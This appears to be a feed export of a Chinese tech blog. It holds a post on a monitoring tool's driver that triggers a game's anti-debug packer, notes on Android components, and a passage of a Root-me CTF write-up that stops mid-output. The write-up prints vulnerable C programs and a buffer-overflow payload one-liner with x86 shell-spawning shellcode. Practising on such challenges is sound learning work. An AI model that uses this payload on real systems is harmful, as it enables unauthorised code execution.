    <content type="html"><![CDATA[<p>以后要记得搞事情放在虚拟机里面搞</p><h2 id="more-procmon与themida的纠葛"><span id="more"></span><br>PROCMON与themida的纠葛</h2><h2 id="起因">起因</h2><p>上周末下了一个冒险岛来玩，打算这周末休息的时候玩一下。结果打开的时候突然报错:<br><img src="/2018/01/14/PROCMON%E4%B8%8Ethemida%E7%9A%84%E7%BA%A0%E8%91%9B/procmon01.jpg" alt=""><br><em>车祸了呀！！！！我的周末呢！！</em></p><p>可恶我的冒险岛我不会放弃你的！</p><h2 id="探索">探索</h2><p>仔细看了以下，这个弹框的上面好像有一个软件的名字:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">themida</span><br></pre></td></tr></table></figure><p>这个东西好像是一个壳嘛！上网搜了一下，果然是，<strong>这个壳会检测当前内存中是否存在对文件内容或者注册表监控的程序</strong>。我仔细想了以下，最近好像下了一个叫做<strong>PROCMON</strong>的神器，它的功能就是<strong>监控当前系统中的所有文件、注册表、网络操作</strong>。如果不是影响了我玩游戏，我本来是打算大吹一波来着，但是现在看来。。。唉</p><h2 id="如何去掉影响">如何去掉影响</h2><p>可是仔细一想，我下载这个文件的时候，并没有进行安装，而是下载了就拿来用，所以我的第一想法是:</p><blockquote><p>这个程序会修改注册表\往文件夹写文件，导致被检测到</p></blockquote><p>于是祭出第二个神器<strong>Everything</strong>。将当前名字为<strong>PROCMON</strong>的程序都搜了出来，并且一一删除。这个时候，我注意到了这个:<br><img src="/2018/01/14/PROCMON%E4%B8%8Ethemida%E7%9A%84%E7%BA%A0%E8%91%9B/procmon02.png" alt=""><br>这个好像删不掉呀？？？我试过重启大法，或者直接反找它的对应驱动（但是没找到QvQ），都没能把它删掉！！<br><img src="/2018/01/14/PROCMON%E4%B8%8Ethemida%E7%9A%84%E7%BA%A0%E8%91%9B/procmon3.jpeg" alt=""></p><p>好吧让我一一排除。之后打开注册表，把关键字是<strong>PROCMON</strong>也全删掉了。这下没问题了吧。。。。<br><img src="/2018/01/14/PROCMON%E4%B8%8Ethemida%E7%9A%84%E7%BA%A0%E8%91%9B/procmon01.jpg" alt=""></p><p>[哔哔哔哔！！！！]</p><h2 id="内存驻留">内存驻留?</h2><p>现在大概能够猜到，这个文件可能就是<strong>内存驻留</strong>?!虽然上课听到过，没想到真的遇到了，大概的操作就是将自己作为驱动，被某个系统级别的程序调用，此时每次开机的时候这个驱动自然就被加载了，就能够做到驻留内存。<br>现在不是复习的时候呀！每次删掉，都会提示那个令人感动的话语</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">当前程序已被其他进程占用</span><br></pre></td></tr></table></figure><p>哇之前的病毒君也是这样！！！就不能友好一点吗？！！！</p><blockquote><p>如果进入安全模式呢？</p></blockquote><p>冷静下来想了一下，听说安全模式下计算机会<strong>尽可能少的启动服务</strong>，那么安全模式下，加载这个驱动的服务会不会还没有被启动呢？尝试了一下在命令行下启动然后删除文件，结果还真的成功了。。<br><em>顺便，这个驱动在文件里面是唯一有隐藏属性的小朋友，看来是相当的不老实</em></p><h2 id="todo">TODO</h2><p>现在游戏和PROCMON不能共存了有点遗憾，有没有解决的思路呢？</p><h2 id="总结">总结</h2><ul><li>在探索的过程中有过多次不冷静的行为（突然疯狂删除注册表，使用各种软件等等），感觉自己的电脑可能都要打出GG了……以后遇到事情还是要冷静分析以下前因后果。</li><li>其实感觉和之前某个大佬说过的话一样，想要了解Windows，首先要认真看它的提示框。这个提示框明明白白写的是存在<strong>monitor program</strong>，然而我一开始的时候完全摸不着头脑还以为是什么新安装的软件或者它自己损坏了啥的(&lt;---这个好像还真有可能)。其实冷静一下还是能够解决问题的</li><li>亲眼目睹了冒险岛(枫之谷)已经变成外挂岛了，感觉突然很艰难。</li><li>报错图是盗来的，因为我的问题已经解决了并且不想再变一个图出来了求各位放过QvQ</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;以后要记得搞事情放在虚拟机里面搞&lt;/p&gt;
&lt;h2 id=&quot;more-procmon与themida的纠葛&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Daily" scheme="https://showlinkroom.me/categories/Daily/"/>
    
    
    <category term="折腾计算机" scheme="https://showlinkroom.me/tags/%E6%8A%98%E8%85%BE%E8%AE%A1%E7%AE%97%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>Android中的四大组件</title>
    <link href="https://showlinkroom.me/2018/01/07/Android%E4%B8%AD%E7%9A%84%E5%9B%9B%E5%A4%A7%E7%BB%84%E4%BB%B6/"/>
    <id>https://showlinkroom.me/2018/01/07/Android%E4%B8%AD%E7%9A%84%E5%9B%9B%E5%A4%A7%E7%BB%84%E4%BB%B6/</id>
    <published>2018-01-07T15:45:16.000Z</published>
    <updated>2018-01-28T13:46:12.000Z</updated>
    
    <content type="html"><![CDATA[<p>早该好好看看Android的基础了</p><h2 id="more-android中的四大组件"><span id="more"></span><br>Android中的四大组件</h2><h2 id="activity">Activity</h2><p>这个是最常见的。一个<strong>Activity</strong>就是一个单独的屏幕(前端)。一个Activity的生命周期如下:</p><p>启动顺序</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">onCreate() -&gt; onStart() -&gt; OnResume()</span><br></pre></td></tr></table></figure><p>销毁</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">内存不紧张             内存不紧张</span><br><span class="line">onPause() ------------&gt; onStop() ------------&gt; onDestroy()</span><br><span class="line"> |内存                         |内存</span><br><span class="line"> |紧张                         |紧张 </span><br><span class="line"> +-----&gt; &lt;Processed Killed&gt;    +-----&gt; &lt;Processed Killed&gt;</span><br></pre></td></tr></table></figure><p>跳转到另一个活动的Activity(注意调用顺序)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1st Activity onPause() -&gt; 2nd Activity onCreate() -&gt; onStart() -&gt; OnResume() -&gt; 1st Activity onStop()</span><br></pre></td></tr></table></figure><p>返回到前一个Activity(此时第二个Activity算作结束)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">2nd Activity onPause()  —&gt; 1st Activity onRestart() -&gt; onStart() -&gt; onResume() -&gt; 2nd Activity onStop() -&gt;onDestroy()</span><br></pre></td></tr></table></figure><p>由于其他程序弹出，导致暂时挂起(Run -&gt; Pause)(例子：正在切换app的时候，当前app依然是可以被看到的)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">onPause()</span><br></pre></td></tr></table></figure><p>完全不需要展示的时候(Pause -&gt; Stop)(丢在后台)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">onStop()</span><br></pre></td></tr></table></figure><p>从后台进入活动(Stop -&gt; Run)(从后台启动至可视)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">onRestart() -&gt; onStart() -&gt; onResume()</span><br></pre></td></tr></table></figure><p>上述方法，我们都能够通过**覆盖(override)**的方式复写，从而定制功能。</p><h3 id="intent">Intent</h3><p>Intent为Activity的通信模块。Android中的Activity都是利用Intent进行通信。利用Intent，可以启动<strong>Activity/Service/Broadcast</strong>例如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">+--------------------+----------------------------------------------------------+</span><br><span class="line">|       组件名字      |                           对应方法                        |</span><br><span class="line">+--------------------+----------------------------------------------------------+</span><br><span class="line">|       Activity     |        startActivity / startActivityForResult            |</span><br><span class="line">+--------------------+----------------------------------------------------------+</span><br><span class="line">|       Service      |            startService    /    bindService              |</span><br><span class="line">+--------------------+----------------------------------------------------------+</span><br><span class="line">|     Broadcast      | sendBroadcasts / sendOrderedBroadcast / sendStickycasts  |</span><br><span class="line">+--------------------+----------------------------------------------------------+</span><br></pre></td></tr></table></figure><p>Intent中，可以定义如下的属性</p><ul><li>动作(Action): 当前 Intent 要完成的动作，比如<strong>发起电话</strong>，**调用另一个 Activity **</li><li>数据(Data): 执行动作的URI以及对应MIME类型</li><li>附加信息(Category): 执行动作的附加信息，比如<strong>直接回到 HOME 界面</strong>等</li><li>类型(Type): 指定Intent的数据类型(MIME)。一般不需要指定</li><li>组件(Conpent): 指定Intent最终目的组件类型，一般来说不需要指定。</li><li>扩展信(Extra):这个比较常见的用法是，在两个不同的activity之间进行数据的传输。</li></ul><p>设置好属性之后，根据我们指定的Intent类型，调用函数:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">startActivity/startService/startBroadcast</span><br></pre></td></tr></table></figure><p>进行Intent调用</p><h3 id="androidmanifest">AndroidManifest</h3><p>所有的Activity都需要在这个配置文件中生命，否则的话程序不会识别该Activity，<strong>强行运行的时候会直接闪退。</strong></p><h2 id="service">Service</h2><p>与Activity相对，在后台运行的程序。Service有两种不同的类型:</p><ul><li>Started(启动): 当应用程序组件(如Activity)调用startService方法启动的服务</li><li>Bound(绑定): 当引用程序组件调用bindService方法绑定的服务</li></ul><p>这两者的区别在于:<br><strong>Started Service</strong>由其他的组件调用<strong>startService</strong>的方法调用，常用于本地服务。此时Service的<strong>onStartCommand</strong>的方法被调用。并且在当前状态下，其生命周期与启动的组件无关，并且会在后台无限运行，甚至在调用者已经被销毁。因此，在完成任务后，必须通过调用stopSelf的发给发停止，或者其他的组件调用stopService的方法停止。</p><p>启动服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">  第一次创建</span><br><span class="line">startService ------------&gt; onCreate -&gt; onStart</span><br></pre></td></tr></table></figure><p>终止服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">stopService -&gt; onDestroy -&gt; Service Stop</span><br></pre></td></tr></table></figure><p><strong>Bound Service</strong>主要是远程服务，调用者与服务绑定在一起，调用者一旦推出服务器也会终止。</p><p>启动服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">              第一次创建</span><br><span class="line">bindService ------------&gt; onCreate -&gt; onBind -&gt; onStart</span><br></pre></td></tr></table></figure><p>终止服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">onUnbild -&gt; onDestroy </span><br></pre></td></tr></table></figure><h3 id="androidmanifest">AndroidManifest</h3><p>同样，Service也需要在此文件中进行声明。</p><h2 id="broadcast-receiver">Broadcast/Receiver</h2><p>这两个作为一组使用，用于处理<strong>广播事件</strong>。当发生事件，比如说<strong>收到短信、电话呼入</strong>等等事件的时候，这个事件就会进行<strong>广播</strong>，此时所有对这个事件感兴趣的<strong>Receiver</strong>就能够对其进行接收。</p><h3 id="广播种类">广播种类</h3><ul><li><p>无序广播(Normal Broadcasts): 异步广播，在逻辑上能够在同一时刻被所有的接收者接收到。缺点就是接收者不能将当前的消息处理结果交给下一个人</p></li><li><p>有序广播(Ordered Broadcasts):根据优先级进行顺序传输，其中优先级是在Menifest中对类生明中的<code>&lt;intent-filter android:priority&gt;</code>设置，级别越高传输的优先级就越高。</p></li></ul><h3 id="发送广播">发送广播</h3><ul><li>Context.sendContext(): 发送正常的广播，此时所有**订阅(register)**了当前广播的对象都将能够收到。</li><li>Context.sendOrderedBroadcast(): 发送有序广播，当前的接收者有权限终止广播，<code>BroadcastReceiver.abortBroadcast())</code>。当前的广播如果被终止了，那么后面的接收者就不能够接收到广播，从而阻止一些事件被其他对象收到。接收者可以使用函数<code>setResultExtras(Bundle)</code>将当前对广播的处理结果存入，然后传给下一个接收者，通过代码：Bundle bundle =getResultExtras(true))可以获得上一个对象存放的处理结果。</li></ul><h3 id="receiver-实现办法">Receiver 实现办法</h3><ul><li>定义一个类继承 BroadcastReceiver</li><li>实现方法<code>public void onReceive(Context context, Intent intent)</code>,通过函数<code>intent.getAction()</code>能够得到当前广播的名字。</li><li>在Menifest中设置<code>receiver</code>，并且注册当前的权重。</li></ul><h3 id="监听广播的方法">监听广播的方法</h3><p>主要两种方法——静态注册和动态注册</p><h4 id="静态注册">静态注册</h4><p>在完成了直接在Menifest中添加代码:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">receiver</span> <span class="attr">android:name</span>=<span class="string">&quot;clsReceiver&quot;</span>&gt;</span> </span><br><span class="line"><span class="tag">&lt;<span class="name">intent-filter</span>&gt;</span> </span><br><span class="line"><span class="tag">&lt;<span class="name">action</span></span></span><br><span class="line"><span class="tag"><span class="attr">android:name</span>=<span class="string">&quot;yourBroadcastName&quot;</span>/&gt;</span> </span><br><span class="line"><span class="tag">&lt;/<span class="name">intent-filter</span>&gt;</span> </span><br><span class="line"><span class="tag">&lt;/<span class="name">receiver</span>&gt;</span></span><br></pre></td></tr></table></figure><p>静态注册是常驻型，也就是说当应用程序关闭之后，如果有信息广播到来后，如果有信息广播来，程序也会被系统调用自动运行。</p><h4 id="动态注册调用">动态注册调用</h4><p>首先获得一个filter对象<code>IntentFilter filter = new IntentFilter();</code>，然后往这个filter中加入<code>filter.addAction(String ACTION);</code>这之后设置当前的优先级<code>filter.setPriority(Int);</code>最后调用<code>registerReceiver(Receiver, filter);</code>完成注册。<br>动态注册不是常驻型的，也就是说activity生命周期结束的时候，这个注册的事件就会结束。</p><h3 id="关于receiver的生命周期">关于Receiver的生命周期</h3><p>onReceiver的生命周期比较短，其对象在onReceive调用完成后结束，所以尽量不要在<strong>Receiver中开启多线程</strong></p><h2 id="contentprovider">ContentProvider</h2><p>主要用于负责数据的交互，将程序内部的数据与外部的数据<em>例如通话记录，短信等</em>，它主要的作用就是将程序的内部的数据和外部进行共享，为数据提供外部访问接口，被访问的数据主要以数据库的形式存在，而且还可以选择共享哪一部分的数据。这样一来，对于程序当中的隐私数据可以不共享，从而更加安全。<br><em>(具体还没有用过，待完善)</em></p><p>参考博客:<br>(<a href="https://www.cnblogs.com/pepcod/archive/2013/02/11/2937403.html">https://www.cnblogs.com/pepcod/archive/2013/02/11/2937403.html</a>)[<a href="https://www.cnblogs.com/pepcod/archive/2013/02/11/2937403.html">https://www.cnblogs.com/pepcod/archive/2013/02/11/2937403.html</a>]<br>(<a href="https://www.jianshu.com/p/51aaa65d5d25">https://www.jianshu.com/p/51aaa65d5d25</a>)[<a href="https://www.jianshu.com/p/51aaa65d5d25">https://www.jianshu.com/p/51aaa65d5d25</a>]</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;早该好好看看Android的基础了&lt;/p&gt;
&lt;h2 id=&quot;more-android中的四大组件&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="android" scheme="https://showlinkroom.me/tags/android/"/>
    
  </entry>
  
  <entry>
    <title>Root-me-App-System02</title>
    <link href="https://showlinkroom.me/2017/12/04/Root-me-App-System02/"/>
    <id>https://showlinkroom.me/2017/12/04/Root-me-App-System02/</id>
    <published>2017-12-04T06:51:40.000Z</published>
    <updated>2020-07-16T13:31:30.415Z</updated>
    
    <content type="html"><![CDATA[<p>练习还是要保持呀</p><span id="more"></span><h2 id="elf-x86-bss-buffer-overflow">ELF x86 - BSS buffer overflow</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="type">char</span> username[<span class="number">512</span>] = &#123;<span class="number">1</span>&#125;;</span><br><span class="line"><span class="type">void</span> (*_atexit)(<span class="type">int</span>) =  <span class="built_in">exit</span>;</span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">cp_username</span><span class="params">(<span class="type">char</span> *name, <span class="type">const</span> <span class="type">char</span> *arg)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">while</span>((*(name++) = *(arg++)));</span><br><span class="line">  *name = <span class="number">0</span>; </span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span>(argc != <span class="number">2</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;[-] Usage : %s &lt;username&gt;\n&quot;</span>, argv[<span class="number">0</span>]);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">  cp_username(username, argv[<span class="number">1</span>]);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;[+] Running program with username : %s\n&quot;</span>, username);</span><br><span class="line"> </span><br><span class="line">  _atexit(<span class="number">0</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>很显然，<code>username</code>处存在溢出，然后可以看到，在这个变量的下方，定义了一个函数指针，我们可以通过覆盖这个函数指针，让程序最后执行这个函数的时候，变成执行shellcode。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`python -c <span class="string">&quot;print &#x27;a&#x27;*512 + &#x27;\x44\xa2\x04\x08\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80&#x27;&quot;</span>`</span><br></pre></td></tr></table></figure><h2 id="elf-x86-stack-buffer-overflow-basic-4">ELF x86 - Stack buffer overflow basic 4</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;dirent.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">EnvInfo</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="type">char</span> home[<span class="number">128</span>];</span><br><span class="line">  <span class="type">char</span> username[<span class="number">128</span>];</span><br><span class="line">  <span class="type">char</span> shell[<span class="number">128</span>];  </span><br><span class="line">  <span class="type">char</span> path[<span class="number">128</span>];  </span><br><span class="line">&#125;;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">struct</span> EnvInfo <span class="title function_">GetEnv</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">EnvInfo</span> <span class="title">env</span>;</span></span><br><span class="line">  <span class="type">char</span> *ptr;</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">if</span>((ptr = getenv(<span class="string">&quot;HOME&quot;</span>)) == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;[-] Can&#x27;t find HOME.\n&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="built_in">strcpy</span>(env.home, ptr);</span><br><span class="line">  <span class="keyword">if</span>((ptr = getenv(<span class="string">&quot;USERNAME&quot;</span>)) == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;[-] Can&#x27;t find USERNAME.\n&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="built_in">strcpy</span>(env.username, ptr);</span><br><span class="line">  <span class="keyword">if</span>((ptr = getenv(<span class="string">&quot;SHELL&quot;</span>)) == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;[-] Can&#x27;t find SHELL.\n&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="built_in">strcpy</span>(env.shell, ptr);</span><br><span class="line">  <span class="keyword">if</span>((ptr = getenv(<span class="string">&quot;PATH&quot;</span>)) == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;[-] Can&#x27;t find PATH.\n&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="built_in">strcpy</span>(env.path, ptr);</span><br><span class="line">  <span class="keyword">return</span> env;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">EnvInfo</span> <span class="title">env</span>;</span></span><br><span class="line"> </span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;[+] Getting env...\n&quot;</span>);</span><br><span class="line">  env = GetEnv();</span><br><span class="line"> </span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;HOME     = %s\n&quot;</span>, env.home);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;USERNAME = %s\n&quot;</span>, env.username);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;SHELL    = %s\n&quot;</span>, env.shell);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;PATH     = %s\n&quot;</span>, env.path);</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;   </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一如既往的没有开防护。这个题目牵扯到环境变量，有点麻烦。观察可以知道，这里的strcpy存在漏洞:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">if((ptr = getenv(&quot;PATH&quot;)) == NULL)</span><br><span class="line">    &#123;</span><br><span class="line">      printf(&quot;[-] Can&#x27;t find PATH.\n&quot;);</span><br><span class="line">      exit(0);</span><br><span class="line">    &#125;</span><br><span class="line">  strcpy(env.path, ptr);</span><br></pre></td></tr></table></figure><p>这个env直接是以变量的形式存放在栈中，这样的话如果ptr所指向的字符串地址过大的话，那么此时函数的返回值地址就会被修改成我们指定的地址。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">app-systeme-ch8@challenge02:~$ <span class="built_in">env</span> | grep SHELL</span><br><span class="line">SHELL=/bin/bash</span><br><span class="line">app-systeme-ch8@challenge02:~$ <span class="built_in">env</span> | grep PATH</span><br><span class="line">PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/</span><br><span class="line">NODE_PATH=/usr/lib/nodejs:/usr/lib/node_modules:/usr/share/javascript</span><br><span class="line">app-systeme-ch8@challenge02:~$</span><br></pre></td></tr></table></figure><p>这里可以知道，这个<code>PATH</code>变量中的字符串长度为109。我们这里可以使用<code>export</code>指令对当前的环境变量进行设置，我调试的时候开了tmux，所以PATH长度多了一点，不过只要计算一下即可。于是能够想到这个题目的攻击思路:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">+------------------------+      +---------------+      +---------------+  </span><br><span class="line">| 往USERNAME写入shellcode | ---&gt; | 修改返回值地址 | ---&gt; | 跳转至USERNAME |</span><br><span class="line">+------------------------+      +---------------+      +---------------+  </span><br></pre></td></tr></table></figure><p>加上没有打开ASLR，所以应该很简单(吗？)</p><h3 id="调试的技巧">调试的技巧</h3><p>这个题目虽然非常的简单，但是其调试起来很麻烦，因为我们<strong>使用gdb的时候，环境变量发生了一点变化，导致当前栈的位置和直接运行的时候有所差异</strong>。比如说，在gdb调试模式下，我们能够看到我们的返回值地址如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0xbffff730:     0x63656863      0x6365736b      0x0000002f      0xb7e87924</span><br><span class="line">0xbffff740:     0xb7fcfac0      0x0000000a      0x00000012      0xbffffe2c</span><br><span class="line">0xbffff750:     0xbffffb98      0xb7ff2630      0xbffffbd4      0xb7fcf000</span><br><span class="line">0xbffff760:     0x00000000      0x00000000      0xbffffb98      0x08048679 &lt;----返回值地址</span><br><span class="line">0xbffff770:     0xbffff780      0x00000007      0x001aa1d0      0x001ab1d0</span><br></pre></td></tr></table></figure><p>但是实际上，经过我的测试，返回值地址在实际运行时候的地址变成了<code>0xbffff78c</code>，两者之间存在差异。虽说返回值可能不受影响，但是为了保证我们<strong>能够跳转到USERNAME的地址上</strong>，我们需要知道当前栈中地址的变化，或者说<strong>至少知道USERNAME的起始地址</strong>。<br>这里就要提到一个工具叫做<strong>ltrace</strong>:</p><ul><li>用于跟踪进程调用库函数的情况</li><li>可以真实反应当前进程中的程序地址</li></ul><p><strong>ltrace</strong>可以通过跟不同的参数，显示此时使用的系统调用，花费时间等等。这里暂且介绍其观察调用进程的功能:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">app-systeme-ch8@challenge02:~$ ltrace ./ch8</span><br><span class="line">__libc_start_main(0x8048648, 1, 0xbffffc64, 0x8048720 &lt;unfinished ...&gt;</span><br><span class="line">puts(<span class="string">&quot;[+] Getting env...&quot;</span>[+] Getting <span class="built_in">env</span>...</span><br><span class="line">)                                                                                                     = 19</span><br><span class="line">getenv(<span class="string">&quot;HOME&quot;</span>)                                                                                                                 = <span class="string">&quot;/challenge/app-systeme/ch8&quot;</span></span><br><span 